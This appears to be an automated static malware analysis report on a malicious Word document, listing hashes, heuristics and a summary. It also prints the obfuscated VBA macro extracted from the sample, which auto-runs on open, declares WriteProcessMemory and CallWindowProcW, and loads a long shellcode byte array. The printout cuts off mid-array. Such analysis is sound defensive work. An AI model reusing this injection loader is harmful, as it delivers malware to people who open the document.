Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1a8a549229010f47…

MALICIOUS

Office (OLE)

119.0 KB Created: 2017-11-15 16:00:00 Authoring application: Microsoft Office Word First seen: 2017-11-20
MD5: ab224148ecff3a87362e27e9bcdf93b8 SHA-1: b7c419f7fad2e1c9c5a18f489922842459d1ab36 SHA-256: 1a8a549229010f47f3e685e3cb96c79765d4d7aff794aae82d71129f3a4fc24b
90 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing VBA macros. The macros utilize the WriteProcessMemory API, indicating an attempt to inject code into another process. The presence of a Document_Open macro suggests automatic execution upon opening the document. No specific family could be identified, but the technique points to a downloader or dropper.

Heuristics 4

  • Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORY
    Reference to WriteProcessMemory API
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub DoCumEnT_opEN()
    Call Hy8tFYkfrQWbpi4TT
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 41221 bytes
SHA-256: 12f38f1d930aeaf32dd73d2907b5562ef519c14622b0d9c8ae69ee431763dda4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Patent"
Attribute VB_Base = "1Normal.Patent"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
Private Declare PtrSafe Function Yv9aI59gW1d0 Lib "USer32" Alias "CallWindowProcW" (ByVal tL2S1HKmjdy4L As LongPtr, ByVal J3IwBTAcVZq As LongPtr, ByVal T8IxdMyP As Long, ByVal Jk65Ni8zFm As LongPtr, ByVal ZYGHBwcrL8ARz6cJ As LongPtr) As LongPtr
Private Declare PtrSafe Function vhim1HEUxNicBd Lib "KErNeL32" Alias "HeapCreate" (ByVal O6LJI6LX0mjL As Long, ByVal J0GzpM65LC As LongPtr, ByVal KHJ As LongPtr) As LongPtr
Private Declare PtrSafe Function gxTsCB7yYz7QKvvyaF Lib "KErNeL32" Alias "HeapAlloc" (ByVal QcjR As LongPtr, ByVal h6yN1a0DfUkBvWSX As Long, ByVal jYM5 As LongPtr) As LongPtr
Private Declare PtrSafe Sub MqHn2eJx0WrbOWX9Ieh Lib "KErNeL32" Alias "WriteProcessMemory" (ByVal YK1h As LongPtr, ByRef e5riq As Any, dqwbRMOzZSKvRQw7 As Any, ByVal KeFXOcB9ak5Rcqtx As LongPtr, qAZvou As LongPtr)

#Else
Private Declare Function Yv9aI59gW1d0 Lib "USer32" Alias "CallWindowProcW" (ByVal Ba4Z As Long, ByVal PAeTha8zx8sZfUYX As Long, ByVal Op5I0tfiG714eHX As Long, ByVal yyJDyM5zKsv5 As Long, ByVal Oth As Long) As Long
Private Declare Function vhim1HEUxNicBd Lib "KErNeL32" Alias "HeapCreate" (ByVal dSejhG As Long, ByVal u9XUOftgst9 As Long, ByVal etBuS As Long) As Long
Private Declare Function gxTsCB7yYz7QKvvyaF Lib "KErNeL32" Alias "HeapAlloc" (ByVal fVuaJ3I As Long, ByVal myD7gIbfMWhJ As Long, ByVal QgTT As Long) As Long
Private Declare Sub MqHn2eJx0WrbOWX9Ieh Lib "KErNeL32" Alias "WriteProcessMemory" (ByVal rgUpz2 As Long, ByRef Odfkw As Any, Schn As Any, ByVal fte6P3WsTZ6 As Long, dGKrzw23TgC7Vu As Long)

#End If

Sub DoCumEnT_opEN()
Call Hy8tFYkfrQWbpi4TT
End Sub
Private Function Hy8tFYkfrQWbpi4TT() As Date
Call X3kuzji6pLOit1Ig
End Function
Function X3kuzji6pLOit1Ig() As Variant
Call hjICRV4qfLEEpb
End Function
Public Function hjICRV4qfLEEpb() As Byte
Call Z1msBTQqP3giDzGslXWodZ
End Function
Public Function Z1msBTQqP3giDzGslXWodZ() As Byte
Call hNCgBZeQn7IAXf8eX5
End Function
Static Function hNCgBZeQn7IAXf8eX5() As Double
Call Pfck3zoQzpCcTD8uF9mw
End Function
Private Function Pfck3zoQzpCcTD8uF9mw() As Boolean
Call Wvbwer9M0RJA
End Function
Public Function Wvbwer9M0RJA() As Boolean
Call JmyxDyCdH6wDz4m5BYIJbk8
End Function
Private Function JmyxDyCdH6wDz4m5BYIJbk8() As Long
Call azvwoJvkQXjUAzrc
End Function
Static Function azvwoJvkQXjUAzrc() As Variant
Call r2kJXIkrREez7OYRVEmbf
End Function
Static Function r2kJXIkrREez7OYRVEmbf() As Double
Call rvMEzbocDZ0ybXKw19yQJF4I
End Function
Function rvMEzbocDZ0ybXKw19yQJF4I() As Single
Call dZaqBXIuxJ
End Function
Static Function dZaqBXIuxJ() As Double
Call LRmw1p2QTFe61NwYl9YG9loc
End Function
Function LRmw1p2QTFe61NwYl9YG9loc() As Variant
Call h7UArpuw37
End Function
Static Function h7UArpuw37() As Date
Call fBcMLfIUH5icjPU4Jf2CPDem
End Function
Function fBcMLfIUH5icjPU4Jf2CPDem() As Currency
Call ZBsONZUEdX
End Function
Static Function ZBsONZUEdX() As Integer
Call v9OgJrg0N3wCJpKcbdMsrleM
End Function
Function v9OgJrg0N3wCJpKcbdMsrleM() As Single
Call xLg0F3YmdZ
End Function
Static Function xLg0F3YmdZ() As Date
Call HVgEtHuk5Hc6TVOUD742xFSc
End Function
Function HVgEtHuk5Hc6TVOUD742xFSc() As Single
Call lHw8fhEe3N
End Function
Static Function lHw8fhEe3N() As Integer
Call T1GSjRMgPzGG3tE4prsaj5sQ
End Function
Function T1GSjRMgPzGG3tE4prsaj5sQ() As Single
Call BJo0P3q6Xj
End Function
Static Function BJo0P3q6Xj() As Double
Call L30u3xUqPXQiVZaOl9Y0rLoG
End Function
Function L30u3xUqPXQiVZaOl9Y0rLoG() As Single
Call Z4wvX4yzDyUZFMO
End Function

Sub Z4wvX4yzDyUZFMO()
Dim epV As Long, UZ5U6lpIM As Long, A9V As Variant
#If VBA7 Then
Dim UTNE45Z0unLiEVX As LongPtr
#Else
Dim UTNE45Z0unLiEVX As Long
#End If
ReDim A9V(2289)
A9V(0) = 233
A9V(1) = 141
A9V(2) = 1
A9V(3) = 0
A9V(4) = 0
A9V(5) = 41
A9V(6) = 218
A9V(7) = 158
A9V(8) = 151
A9V(9) = 227
A9V(10) = 164
A9V(11) = 248
A9V(12) = 1
A9V(13) = 221
A9V(14) = 174
A9V(15) = 146
A9V(16) = 171
A9V(17) = 23
A9V(18) = 248
A9V(19) = 108
A9V(20) = 149
A9V(21) = 145
A9V(22) = 130
A9V(23) = 134
A9V(24) = 191
A9V(25) = 75
A9V(26) = 76
A9V(27) = 224
A9V(28) = 41
A9V(29) = 69
A9V(30) = 86
A9V(31) = 122
A9V(32) = 211
A9V(33) = 127
A9V(34) = 160
A9V(35) = 84
A9V(36) = 189
A9V(37) = 249
A9V(38) = 42
A9V(39) = 110
A9V(40) = 231
A9V(41) = 179
A9V(42) = 244
A9V(43) = 200
A9V(44) = 81
A9V(45) = 173
A9V(46) = 254
A9V(47) = 98
A9V(48) = 251
A9V(49) = 231
A9V(50) = 72
A9V(51) = 60
A9V(52) = 229
A9V(53) = 97
A9V(54) = 210
A9V(55) = 86
A9V(56) = 15
A9V(57) = 27
A9V(58) = 156
A9V(59) = 176
A9V(60) = 121
A9V(61) = 21
A9V(62) = 166
A9V(63) = 74
A9V(64) = 35
A9V(65) = 79
A9V(66) = 240
A9V(67) = 36
A9V(68) = 13
A9V(69) = 201
A9V(70) = 122
A9V(71) = 62
A9V(72) = 55
A9V(73) = 131
A9V(74) = 68
A9V(75) = 152
A9V(76) = 161
A9V(77) = 125
A9V(78) = 78
A9V(79) = 50
A9V(80) = 75
A9V(81) = 183
A9V(82) = 152
A9V(83) = 12
A9V(84) = 53
A9V(85) = 49
A9V(86) = 34
A9V(87) = 38
A9V(88) = 95
A9V(89) = 235
A9V(90) = 236
A9V(91) = 128
A9V(92) = 201
A9V(93) = 229
A9V(94) = 246
A9V(95) = 26
A9V(96) = 115
A9V(97) = 31
A9V(98) = 64
A9V(99) = 244
A9V(100) = 93
A9V(101) = 153
A9V(102) = 202
A9V(103) = 14
A9V(104) = 135
A9V(105) = 83
A9V(106) = 148
A9V(107) = 104
A9V(108) = 241
A9V(109) = 77
A9V(110) = 158
A9V(111) = 2
A9V(112) = 155
A9V(113) = 135
A9V(114) = 232
A9V(115) = 220
A9V(116) = 133
A9V(117) = 1
A9V(118) = 114
A9V(119) = 246
A9V(120) = 175
A9V(121) = 187
A9V(122) = 60
A9V(123) = 80
A9V(124) = 25
A9V(125) = 181
A9V(126) = 70
A9V(127) = 234
A9V(128) = 195
A9V(129) = 239
A9V(130) = 144
A9V(131) = 196
A9V(132) = 173
A9V(133) = 105
A9V(134) = 26
A9V(135) = 222
A9V(136) = 215
A9V(137) = 35
A9V(138) = 228
A9V(139) = 56
A9V(140) = 65
A9V(141) = 29
A9V(142) = 238
A9V(143) = 210
A9V(144) = 235
A9V(145) = 87
A9V(146) = 56
A9V(147) = 172
A9V(148) = 213
A9V(149) = 209
A9V(150) = 194
A9V(151) = 198
A9V(152) = 255
A9V(153) = 139
A9V(154) = 140
A9V(155) = 32
A9V(156) = 105
A9V(157) = 133
A9V(158) = 150
A9V(159) = 186
A9V(160) = 19
A9V(161) = 191
A9V(162) = 224
A9V(163) = 148
A9V(164) = 253
A9V(165) = 57
A9V(166) = 106
A9V(167) = 174
A9V(168) = 39
A9V(169) = 243
A9V(170) = 52
A9V(171) = 8
A9V(172) = 145
A9V(173) = 237
A9V(174) = 62
A9V(175) = 162
A9V(176) = 59
A9V(177) = 39
A9V(178) = 136
A9V(179) = 124
A9V(180) = 37
A9V(181) = 161
A9V(182) = 18
A9V(183) = 150
A9V(184) = 79
A9V(185) = 91
A9V(186) = 220
A9V(187) = 240
A9V(188) = 185
A9V(189) = 85
A9V(190) = 230
A9V(191) = 138
A9V(192) = 99
A9V(193) = 143
A9V(194) = 48
A9V(195) = 100
A9V(196) = 77
A9V(197) = 9
A9V(198) = 186
A9V(199) = 126
A9V(200) = 119
A9V(201) = 195
A9V(202) = 132
A9V(203) = 216
A9V(204) = 225
A9V(205) = 189
A9V(206) = 142
A9V(207) = 114
A9V(208) = 139
A9V(209) = 247
A9V(210) = 216
A9V(211) = 76
A9V(212) = 117
A9V(213) = 113
A9V(214) = 98
A9V(215) = 102
A9V(216) = 159
A9V(217) = 43
A9V(218) = 44
A9V(219) = 192
A9V(220) = 9
A9V(221) = 37
A9V(222) = 54
A9V(223) = 90
A9V(224) = 179
A9V(225) = 95
A9V(226) = 128
A9V(227) = 52
A9V(228) = 157
A9V(229) = 217
A9V(230) = 10
A9V(231) = 78
A9V(232) = 199
A9V(233) = 147
A9V(234) = 212
A9V(235) = 168
A9V(236) = 49
A9V(237) = 141
A9V(238) = 222
A9V(239) = 66
A9V(240) = 219
A9V(241) = 199
A9V(242) = 40
A9V(243) = 28
A9V(244) = 197
A9V(245) = 65
A9V(246) = 178
A9V(247) = 54
A9V(248) = 239
A9V(249) = 251
A9V(250) = 124
A9V(251) = 144
A9V(252) = 89
A9V(253) = 245
A9V(254) = 134
A9V(255) = 42
A9V(256) = 3
A9V(257) = 47
A9V(258) = 208
A9V(259) = 4
A9V(260) = 237
A9V(261) = 169
A9V(262) = 90
A9V(263) = 30
A9V(264) = 23
A9V(265) = 99
A9V(266) = 36
A9V(267) = 120
A9V(268) = 129
A9V(269) = 93
A9V(270) = 46
A9V(271) = 18
A9V(272) = 43
A9V(273) = 151
A9V(274) = 120
A9V(275) = 236
A9V(276) = 21
A9V(277) = 17
A9V(278) = 2
A9V(279) = 6
A9V(280) = 63
A9V(281) = 203
A9V(282) = 204
A9V(283) = 96
A9V(284) = 169
A9V(285) = 197
A9V(286) = 214
A9V(287) = 250
A9V(288) = 83
A9V(289) = 255
A9V(290) = 32
A9V(291) = 212
A9V(292) = 61
A9V(293) = 121
A9V(294) = 170
A9V(295) = 238
A9V(296) = 103
A9V(297) = 51
A9V(298) = 116
A9V(299) = 72
A9V(300) = 209
A9V(301) = 45
A9V(302) = 126
A9V(303) = 226
A9V(304) = 123
A9V(305) = 103
A9V(306) = 200
A9V(307) = 188
A9V(308) = 101
A9V(309) = 225
A9V(310) = 82
A9V(311) = 214
A9V(312) = 143
A9V(313) = 155
A9V(314) = 28
A9V(315) = 48
A9V(316) = 249
A9V(317) = 149
A9V(318) = 38
A9V(319) = 202
A9V(320) = 163
A9V(321) = 207
A9V(322) = 112
A9V(323) = 164
A9V(324) = 141
A9V(325) = 73
A9V(326) = 250
A9V(327) = 190
A9V(328) = 183
A9V(329) = 3
A9V(330) = 196
A9V(331) = 24
A9V(332) = 33
A9V(333) = 253
A9V(334) = 206
A9V(335) = 178
A9V(336) = 203
A9V(337) = 55
A9V(338) = 24
A9V(339) = 140
A9V(340) = 181
A9V(341) = 177
A9V(342) = 162
A9V(343) = 166
A9V(344) = 223
A9V(345) = 107
A9V(346) = 108
A9V(347) = 0
A9V(348) = 73
A9V(349) = 101
A9V(350) = 118
A9V(351) = 154
A9V(352) = 243
A9V(353) = 159
A9V(354) = 192
A9V(355) = 116
A9V(356) = 221
A9V(357) = 25
A9V(358) = 74
A9V(359) = 142
A9V(360) = 7
A9V(361) = 211
A9V(362) = 20
A9V(363) = 232
A9V(364) = 113
A9V(365) = 205
A9V(366) = 30
A9V(367) = 130
A9V(368) = 27
A9V(369) = 7
A9V(370) = 104
A9V(371) = 92
A9V(372) = 5
A9V(373) = 129
A9V(374) = 242
A9V(375) = 118
A9V(376) = 47
A9V(377) = 59
A9V(378) = 188
A9V(379) = 208
A9V(380) = 153
A9V(381) = 53
A9V(382) = 198
A9V(383) = 106
A9V(384) = 67
A9V(385) = 111
A9V(386) = 16
A9V(387) = 68
A9V(388) = 45
A9V(389) = 233
A9V(390) = 154
A9V(391) = 94
A9V(392) = 87
A9V(393) = 163
A9V(394) = 100
A9V(395) = 184
A9V(396) = 193
A9V(397) = 157
A9V(398) = 110
A9V(399) = 82
A9V(400) = 107
A9V(401) = 215
A9V(402) = 233
A9V(403) = 149
A9V(404) = 1
A9V(405) = 0
A9V(406) = 0
A9V(407) = 233
A9V(408) = 78
A9V(409) = 1
A9V(410) = 0
A9V(411) = 0
A9V(412) = 5
A9V(413) = 162
A9V(414) = 1
A9V(415) = 0
A9V(416) = 0
A9V(417) = 235
A9V(418) = 92
A9V(419) = 233
A9V(420) = 42
A9V(421) = 2
A9V(422) = 0
A9V(423) = 0
A9V(424) = 233
A9V(425) = 30
A9V(426) = 1
A9V(427) = 0
A9V(428) = 0
A9V(429) = 233
A9V(430) = 81
A9V(431) = 2
A9V(432) = 0
A9V(433) = 0
A9V(434) = 233
A9V(435) = 208
A9V(436) = 0
A9V(437) = 0
A9V(438) = 0
A9V(439) = 15
A9V(440) = 130
A9V(441) = 131
A9V(442) = 0
A9V(443) = 0
A9V(444) = 0
A9V(445) = 233
A9V(446) = 12
A9V(447) = 1
A9V(448) = 0
A9V(449) = 0
A9V(450) = 233
A9V(451) = 212
A9V(452) = 1
A9V(453) = 0
A9V(454) = 0
A9V(455) = 233
A9V(456) = 250
A9V(457) = 0
A9V(458) = 0
A9V(459) = 0
A9V(460) = 233
A9V(461) = 154
A9V(462) = 0
A9V(463) = 0
A9V(464) = 0
A9V(465) = 235
A9V(466) = 15
A9V(467) = 235
A9V(468) = 5
A9V(469) = 233
A9V(470) = 164
A9V(471) = 1
A9V(472) = 0
A9V(473) = 0
A9V(474) = 141
A9V(475) = 152
A9V(476) = 209
A9V(477) = 4
A9V(478) = 0
A9V(479) = 0
A9V(480) = 235
A9V(481) = 31
A9V(482) = 233
A9V(483) = 242
A9V(484) = 0
A9V(485) = 0
A9V(486) = 0
A9V(487) = 233
A9V(488) = 130
A9V(489) = 233
A9V(490) = 230
A9V(491) = 0
A9V(492) = 0
A9V(493) = 0
A9V(494) = 232
A9V(495) = 234
A9V(496) = 2
A9V(497) = 0
A9V(498) = 0
A9V(499) = 233
A9V(500) = 163
A9V(501) = 1
A9V(502) = 0
A9V(503) = 0
A9V(504) = 235
A9V(505) = 174
A9V(506) = 233
A9V(507) = 180
A9V(508) = 0
A9V(509) = 0
A9V(510) = 0
A9V(511) = 235
A9V(512) = 217
A9V(513) = 233
A9V(514) = 92
A9V(515) = 1
A9V(516) = 0
A9V(517) = 0
A9V(518) = 156
A9V(519) = 87
A9V(520) = 129
A9V(521) = 199
A9V(522) = 157
A9V(523) = 108
A9V(524) = 0
A9V(525) = 0
A9V(526) = 141
A9V(527) = 191
A9V(528) = 212
A9V(529) = 117
A9V(530) = 0
A9V(531) = 0
A9V(532) = 141
A9V(533) = 191
A9V(534) = 230
A9V(535) = 6
A9V(536) = 0
A9V(537) = 0
A9V(538) = 141
A9V(539) = 191
A9V(540) = 104
A9V(541) = 98
A9V(542) = 0
A9V(543) = 0
A9V(544) = 141
A9V(545) = 191
A9V(546) = 194
A9V(547) = 53
A9V(548) = 0
A9V(549) = 0
A9V(550) = 95
A9V(551) = 80
A9V(552) = 88
A9V(553) = 157
A9V(554) = 144
A9V(555) = 233
A9V(556) = 155
A9V(557) = 1
A9V(558) = 0
A9V(559) = 0
A9V(560) = 233
A9V(561) = 221
A9V(562) = 1
A9V(563) = 0
A9V(564) = 0
A9V(565) = 235
A9V(566) = 30
A9V(567) = 235
A9V(568) = 59
A9V(569) = 235
A9V(570) = 110
A9V(571) = 233
A9V(572) = 220
A9V(573) = 1
A9V(574) = 0
A9V(575) = 0
A9V(576) = 129
A9V(577) = 48
A9V(578) = 168
A9V(579) = 51
A9V(580) = 248
A9V(581) = 119
A9V(582) = 235
A9V(583) = 63
A9V(584) = 233
A9V(585) = 21
A9V(586) = 1
A9V(587) = 0
A9V(588) = 0
A9V(589) = 144
A9V(590) = 233
A9V(591) = 191
A9V(592) = 1
A9V(593) = 0
A9V(594) = 0
A9V(595) = 235
A9V(596) = 77
A9V(597) = 233
A9V(598) = 242
A9V(599) = 0
A9V(600) = 0
A9V(601) = 0
A9V(602) = 235
A9V(603) = 228
A9V(604) = 233
A9V(605) = 113
A9V(606) = 1
A9V(607) = 0
A9V(608) = 0
A9V(609) = 233
A9V(610) = 54
A9V(611) = 255
A9V(612) = 255
A9V(613) = 255
A9V(614) = 233
A9V(615) = 46
A9V(616) = 1
A9V(617) = 0
A9V(618) = 0
A9V(619) = 235
A9V(620) = 200
A9V(621) = 233
A9V(622) = 69
A9V(623) = 1
A9V(624) = 0
A9V(625) = 0
A9V(626) = 235
A9V(627) = 70
A9V(628) = 235
A9V(629) = 85
A9V(630) = 232
A9V(631) = 28
A9V(632) = 0
A9V(633) = 0
A9V(634) = 0
A9V(635) = 233
A9V(636) = 239
A9V(637) = 0
A9V(638) = 0
A9V(639) = 0
A9V(640) = 86
A9V(641) = 94
A9V(642) = 233
A9V(643) = 195
A9V(644) = 0
A9V(645) = 0
A9V(646) = 0
A9V(647) = 233
A9V(648) = 119
A9V(649) = 1
A9V(650) = 0
A9V(651) = 0
A9V(652) = 235
A9V(653) = 9
A9V(654) = 235
A9V(655) = 59
A9V(656) = 235
A9V(657) = 163
A9V(658) = 233
A9V(659) = 209
A9V(660) = 0
A9V(661) = 0
A9V(662) = 0
A9V(663) = 88
A9V(664) = 233
A9V(665) = 255
A9V(666) = 254
A9V(667) = 255
A9V(668) = 255
A9V(669) = 233
A9V(670) = 93
A9V(671) = 255
A9V(672) = 255
A9V(673) = 255
A9V(674) = 233
A9V(675) = 71
A9V(676) = 255
A9V(677) = 255
A9V(678) = 255
A9V(679) = 235
A9V(680) = 121
A9V(681) = 235
A9V(682) = 203
A9V(683) = 235
A9V(684) = 234
A9V(685) = 235
A9V(686) = 140
A9V(687) = 235
A9V(688) = 113
A9V(689) = 235
A9V(690) = 239
A9V(691) = 235
A9V(692) = 114
A9V(693) = 233
A9V(694) = 127
A9V(695) = 255
A9V(696) = 255
A9V(697) = 255
A9V(698) = 233
A9V(699) = 68
A9V(700) = 1
A9V(701) = 0
A9V(702) = 0
A9V(703) = 235
A9V(704) = 90
A9V(705) = 233
A9V(706) = 226
A9V(707) = 0
A9V(708) = 0
A9V(709) = 0
A9V(710) = 233
A9V(711) = 132
A9V(712) = 0
A9V(713) = 0
A9V(714) = 0
A9V(715) = 83
A9V(716) = 235
A9V(717) = 109
A9V(718) = 235
A9V(719) = 122
A9V(720) = 235
A9V(721) = 95
A9V(722) = 235
A9V(723) = 93
A9V(724) = 233
A9V(725) = 9
A9V(726) = 255
A9V(727) = 255
A9V(728) = 255
A9V(729) = 141
A9V(730) = 139
A9V(731) = 47
A9V(732) = 251
A9V(733) = 255
A9V(734) = 255
A9V(735) = 233
A9V(736) = 111
A9V(737) = 255
A9V(738) = 255
A9V(739) = 255
A9V(740) = 144
A9V(741) = 233
A9V(742) = 124
A9V(743) = 255
A9V(744) = 255
A9V(745) = 255
A9V(746) = 233
A9V(747) = 45
A9V(748) = 1
A9V(749) = 0
A9V(750) = 0
A9V(751) = 156
A9V(752) = 83
A9V(753) = 144
A9V(754) = 129
A9V(755) = 195
A9V(756) = 94
A9V(757) = 44
A9V(758) = 0
A9V(759) = 0
A9V(760) = 141
A9V(761) = 155
A9V(762) = 179
A9V(763) = 109
A9V(764) = 0
A9V(765) = 0
A9V(766) = 141
A9V(767) = 155
A9V(768) = 90
A9V(769) = 67
A9V(770) = 0
A9V(771) = 0
A9V(772) = 141
A9V(773) = 155
A9V(774) = 31
A9V(775) = 8
A9V(776) = 0
A9V(777) = 0
A9V(778) = 91
A9V(779) = 157
A9V(780) = 233
A9V(781) = 47
A9V(782) = 255
A9V(783) = 255
A9V(784) = 255
A9V(785) = 235
A9V(786) = 198
A9V(787) = 235
A9V(788) = 165
A9V(789) = 235
A9V(790) = 81
A9V(791) = 57
A9V(792) = 216
A9V(793) = 235
A9V(794) = 42
A9V(795) = 233
A9V(796) = 242
A9V(797) = 0
A9V(798) = 0
A9V(799) = 0
A9V(800) = 235
A9V(801) = 102
A9V(802) = 233
A9V(803) = 129
A9V(804) = 0
A9V(805) = 0
A9V(806) = 0
A9V(807) = 233
A9V(808) = 15
A9V(809) = 255
A9V(810) = 255
A9V(811) = 255
A9V(812) = 233
A9V(813) = 155
A9V(814) = 254
A9V(815) = 255
A9V(816) = 255
A9V(817) = 233
A9V(818) = 255
A9V(819) = 254
A9V(820) = 255
A9V(821) = 255
A9V(822) = 233
A9V(823) = 135
A9V(824) = 254
A9V(825) = 255
A9V(826) = 255
A9V(827) = 233
A9V(828) = 105
A9V(829) = 255
A9V(830) = 255
A9V(831) = 255
A9V(832) = 233
A9V(833) = 124
A9V(834) = 255
A9V(835) = 255
A9V(836) = 255
A9V(837) = 233
A9V(838) = 109
A9V(839) = 254
A9V(840) = 255
A9V(841) = 255
A9V(842) = 235
A9V(843) = 141
A9V(844) = 80
A9V(845) = 235
A9V(846) = 7
A9V(847) = 233
A9V(848) = 128
A9V(849) = 255
A9V(850) = 255
A9V(851) = 255
A9V(852) = 235
A9V(853) = 23
A9V(854) = 235
A9V(855) = 38
A9V(856) = 233
A9V(857) = 37
A9V(858) = 255
A9V(859) = 255
A9V(860) = 255
A9V(861) = 233
A9V(862) = 211
A9V(863) = 254
A9V(864) = 255
A9V(865) = 255
A9V(866) = 235
A9V(867) = 168
A9V(868) = 235
A9V(869) = 101
A9V(870) = 235
A9V(871) = 89
A9V(872) = 88
A9V(873) = 235
A9V(874) = 188
A9V(875) = 235
A9V(876) = 226
A9V(877) = 235
A9V(878) = 35
A9V(879) = 233
A9V(880) = 35
A9V(881) = 255
A9V(882) = 255
A9V(883) = 255
A9V(884) = 233
A9V(885) = 112
A9V(886) = 254
A9V(887) = 255
A9V(888) = 255
A9V(889) = 233
A9V(890) = 87
A9V(891) = 254
A9V(892) = 255
A9V(893) = 255
A9V(894) = 233
A9V(895) = 241
A9V(896) = 254
…